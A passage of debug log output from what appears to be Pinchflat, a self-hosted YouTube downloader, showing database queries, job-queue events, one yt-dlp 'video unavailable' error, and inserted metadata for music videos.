SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:28.006 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-02 10:16:39Z], 5] 22:20:28.870 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=lrN06b4byiM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ae/66/ae6676ffa1d59822c0ac3fdffd039682b8952170dda8949ab377478b5edf7e47.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available 22:20:28.870 [error] yt-dlp download error for media item #200: "ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available\n" 22:20:28.870 [debug] QUERY OK source="media_items" db=130.4ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nEmpty Heaven · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer: Carson Slovak\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Associated Performer, Mixer, Programmer: Grant McFarland\nVocals, Associated Performer: William Jacob Luhrs\nComposer, Associated Performer: JB Brubaker\nAssociated Performer, Author: Brent Rambler\nBass Guitar, Associated Performer, Vocals: Dustin Davidson\nDrums, Associated Performer: Matthew Greiner\n\nAuto-generated by YouTube.", "Empty Heaven", "fd28f7a2-98c5-4cd4-b738-71b7f13bee81", false, "LlskSjhEW_M", 266, false, "https://www.youtube.com/watch?v=LlskSjhEW_M", 11, "/downloads/ChristianMetal/ChristianMetal/2020-04-02Empty Heaven[LlskSjhEW_M].m4a", false, false, 5, [], 3, ~U[2020-04-02 10:16:39Z], ~U[2026-07-24 02:20:28Z], ~U[2026-07-24 02:20:28Z], "Provided to YouTube by Universal Music Group\n\nEmpty Heaven · August Burns Red\n\nGuardians\n\n℗ 2020 Fearless Records\n\nReleased on: 2020-04-03\n\nRecording Engineer, Studio Personnel, Producer, Recording Producer, Mixer, Programmer: Carson Slovak\nRecording Engineer, Recording Producer, Producer, Studio Personnel, Associated Performer, Mixer, Programmer: Grant McFarland\nVocals, Associated Performer: William Jacob Luhrs\nComposer, Associated Performer: JB Brubaker\nAssociated Performer, Author: Brent Rambler\nBass Guitar, Associated Performer, Vocals: Dustin Davidson\nDrums, Associated Performer: Matthew Greiner\n\nAuto-generated by YouTube.", "Empty Heaven", "LlskSjhEW_M", 266, false, "https://www.youtube.com/watch?v=LlskSjhEW_M", "/downloads/ChristianMetal/ChristianMetal/2020-04-02Empty Heaven[LlskSjhEW_M].m4a", false, 5, ~U[2020-04-02 10:16:39Z]] 22:20:28.871 [debug] QUERY OK source="sources" db=1024.0ms idle=51.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:28.872 [debug] QUERY OK source="media_items" db=1725.8ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎵 STREAM THIS SONG: https://ffm.to/colmleaveherjohnny\n\nThe legendary sea shanty from Assassin's Creed IV: Black Flag, reimagined by Colm R. McGuinness.\n\nOriginally featured in Ubisoft's Assassin's Creed IV: Black Flag, this newly synced version pairs Colm's full studio recording of Leave Her Johnny with beautifully remastered gameplay and cinematics from the game.\n\n✨ YOU CAN SUPPORT ME AT✨ https://ko-fi.com/colmmcguinness\n📢 TIKTOK: https://www.tiktok.com/@colrmcguinness\n📷 INSTAGRAM: https://www.instagram.com/colmrmcguinness\n🎵 SOUNDCLOUD: https://soundcloud.com/crmmusic\n🎶 BANDCAMP: https://colmmcguinness.bandcamp.com/\n\nEMAIL: colmmcguinnesscomposer@outlook.com\nBUSINESS ENQUIRIES: liam@bands.management\nVideo edited by Luke Perrett\n\n#assassinscreed #blackflag #leaveherjohnny #seashanty #colmrmcguinness", "Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced", "63d2180a-fde6-43ae-a100-8485ef407896", false, "a1Rns6XzFwk", 199, false, "https://www.youtube.com/watch?v=a1Rns6XzFwk", 16, "/downloads/Classics/Classics/2026-07-15Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced[a1Rns6XzFwk].m4a", false, false, 2, [], 1, ~U[2026-07-15 17:00:13Z], ~U[2026-07-24 02:20:27Z], ~U[2026-07-24 02:20:27Z], "🎵 STREAM THIS SONG: https://ffm.to/colmleaveherjohnny\n\nThe legendary sea shanty from Assassin's Creed IV: Black Flag, reimagined by Colm R. McGuinness.\n\nOriginally featured in Ubisoft's Assassin's Creed IV: Black Flag, this newly synced version pairs Colm's full studio recording of Leave Her Johnny with beautifully remastered gameplay and cinematics from the game.\n\n✨ YOU CAN SUPPORT ME AT✨ https://ko-fi.com/colmmcguinness\n📢 TIKTOK: https://www.tiktok.com/@colrmcguinness\n📷 INSTAGRAM: https://www.instagram.com/colmrmcguinness\n🎵 SOUNDCLOUD: https://soundcloud.com/crmmusic\n🎶 BANDCAMP: https://colmmcguinness.bandcamp.com/\n\nEMAIL: colmmcguinnesscomposer@outlook.com\nBUSINESS ENQUIRIES: liam@bands.management\nVideo edited by Luke Perrett\n\n#assassinscreed #blackflag #leaveherjohnny #seashanty #colmrmcguinness", "Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced", "a1Rns6XzFwk", 199, false, "https://www.youtube.com/watch?v=a1Rns6XzFwk", "/downloads/Classics/Classics/2026-07-15Leave Her Johnny (Sea Shanty) | Assassin's Creed Black Flag Resynced[a1Rns6XzFwk].m4a", false, 2, ~U[2026-07-15 17:00:13Z]] 22:20:28.872 [error] yt-dlp download will not be retried: "ERROR: [youtube] lrN06b4byiM: Video unavailable. This video is not available\n" 22:20:28.872 [info] {"args":{"id":201},"id":199,"meta":{},"system_time":1784859628871458984,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:29.140 [info] {"args":{"id":200},"id":198,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2954689,"event":"job:stop","queue_time":7358754,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:29.204 [debug] QUERY OK source="media_items" db=331.0ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [201] 22:20:29.205 [debug] QUERY OK source="sources" db=331.4ms queue=0.3ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:29.205 [debug] QUERY OK source="sources" db=331.4ms queue=0.2ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:29.205 [debug] QUERY OK source="sources" db=331.4ms queue=0.4ms idle=736.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:29.205 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:29.205 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=0.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-04-03 14:56:39Z], 2] 22:20:29.206 [debug] QUERY OK source="media_items" db=0.8ms idle=0.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-28 16:02:20Z], 5] 22:20:29.206 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:29.206 [debug] QUERY OK source="sources" db=1.0ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:29.367 [debug] QUERY OK source="media_items" db=160.5ms idle=0.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["backup of these videos that got taken down:\nhttps://www.youtube.com/watch?v=X-WZ2QeJd64\nhttps://www.youtube.com/watch?v=T6fqtJbVoFI\n\nbackground image:\nhttps://drive.google.com/file/d/1wd657U4MSq7LB8EP8GGpQd8Uvr9zOgJL/view\n\ndownload (mp4, h265):\nhttps://drive.google.com/file/d/1rjH_FHiJE2owK3jQp9WChA_UQV9JXMQe/view\n\ndownload (mp3, LAME3.100):\nhttps://drive.google.com/file/d/1DM_ApORFwSGz1hfjaOjhWMKmgPhWHq0-/view", "Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)", "f022bc61-0f50-437f-8ef8-7369d8a8c552", false, "ckHvM3eEX0w", 272, false, "https://www.youtube.com/watch?v=ckHvM3eEX0w", 1, "/downloads/Classics/Classics/2021-04-03Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)[ckHvM3eEX0w].m4a", false, false, 2, [], 1, ~U[2021-04-03 14:56:39Z], ~U[2026-07-24 02:20:29Z], ~U[2026-07-24 02:20:29Z], "backup of these videos that got taken down:\nhttps://www.youtube.com/watch?v=X-WZ2QeJd64\nhttps://www.youtube.com/watch?v=T6fqtJbVoFI\n\nbackground image:\nhttps://drive.google.com/file/d/1wd657U4MSq7LB8EP8GGpQd8Uvr9zOgJL/view\n\ndownload (mp4, h265):\nhttps://drive.google.com/file/d/1rjH_FHiJE2owK3jQp9WChA_UQV9JXMQe/view\n\ndownload (mp3, LAME3.100):\nhttps://drive.google.com/file/d/1DM_ApORFwSGz1hfjaOjhWMKmgPhWHq0-/view", "Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)", "ckHvM3eEX0w", 272, false, "https://www.youtube.com/watch?v=ckHvM3eEX0w", "/downloads/Classics/Classics/2021-04-03Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)[ckHvM3eEX0w].m4a", false, 2, ~U[2021-04-03 14:56:39Z]] 22:20:29.369 [debug] QUERY OK source="media_items" db=2.6ms queue=0.3ms idle=160.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [53] 22:20:29.369 [debug] Gracefully stopping file follower 22:20:29.710 [debug] QUERY OK source="media_profiles" db=343.2ms queue=0.3ms idle=160.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:29.711 [debug] QUERY OK source="sources" db=343.8ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:29.711 [info] {"args":{"id":202},"id":200,"meta":{},"system_time":1784859629710734787,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:29.711 [debug] QUERY OK source="media_items" db=344.2ms queue=159.4ms idle=0.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFearless · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fearless", "b6b9dbac-1273-456f-83db-024a5e7446b8", false, "Rm1f3qV8Spg", 227, false, "https://www.youtube.com/watch?v=Rm1f3qV8Spg", 12, "/downloads/ChristianMetal/ChristianMetal/2018-07-28Fearless[Rm1f3qV8Spg].m4a", false, false, 5, [], 2, ~U[2018-07-28 16:02:20Z], ~U[2026-07-24 02:20:29Z], ~U[2026-07-24 02:20:29Z], "Provided to YouTube by Universal Music Group\n\nFearless · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fearless", "Rm1f3qV8Spg", 227, false, "https://www.youtube.com/watch?v=Rm1f3qV8Spg", "/downloads/ChristianMetal/ChristianMetal/2018-07-28Fearless[Rm1f3qV8Spg].m4a", false, 5, ~U[2018-07-28 16:02:20Z]] 22:20:29.712 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [202] 22:20:29.712 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:29.712 [debug] QUERY OK source="media_items" db=0.9ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-10 23:46:17Z], 2] 22:20:29.713 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=341.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [201] 22:20:29.713 [debug] QUERY OK source="sources" db=1.3ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:29.713 [debug] QUERY OK source="sources" db=0.7ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:29.713 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-04-19 11:15:10Z], 5] 22:20:29.714 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:29.714 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=0.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [201] 22:20:29.714 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:29.893 [debug] QUERY OK source="media_items" db=155.8ms queue=0.1ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["song used: https://youtu.be/-crgQGdpZR0\n\nwill probably be my last upload for a few months, unless I decide to make something in the next week. will be starting college so I've got no clue if I'll have time for these silly little edits. I greatly appreciate the support I've garnered over this past summer, and I'll be sure to return to this channel. probably. maybe. again, thank you all so much\n\nalso, I LOVE THE WIESEL IT'S SO STUPID WHY DID THEY DESIGN IT OH MY GOD", "Take a Chance on (RHEIN)Me(TALL)", "61daa967-89ae-4062-a221-a1f32f9c18d7", false, "FMVK78FgDMY", 246, false, "https://www.youtube.com/watch?v=FMVK78FgDMY", 2, "/downloads/Classics/Classics/2023-08-10Take a Chance on (RHEIN)Me(TALL)[FMVK78FgDMY].m4a", false, false, 2, [], 1, ~U[2023-08-10 23:46:17Z], ~U[2026-07-24 02:20:29Z], ~U[2026-07-24 02:20:29Z], "song used: https://youtu.be/-crgQGdpZR0\n\nwill probably be my last upload for a few months, unless I decide to make something in the next week. will be starting college so I've got no clue if I'll have time for these silly little edits. I greatly appreciate the support I've garnered over this past summer, and I'll be sure to return to this channel. probably. maybe. again, thank you all so much\n\nalso, I LOVE THE WIESEL IT'S SO STUPID WHY DID THEY DESIGN IT OH MY GOD", "Take a Chance on (RHEIN)Me(TALL)", "FMVK78FgDMY", 246, false, "https://www.youtube.com/watch?v=FMVK78FgDMY", "/downloads/Classics/Classics/2023-08-10Take a Chance on (RHEIN)Me(TALL)[FMVK78FgDMY].m4a", false, 2, ~U[2023-08-10 23:46:17Z]] 22:20:29.894 [debug] QUERY OK source="media_items" db=179.9ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [202] 22:20:30.103 [debug] QUERY OK source="media_items" 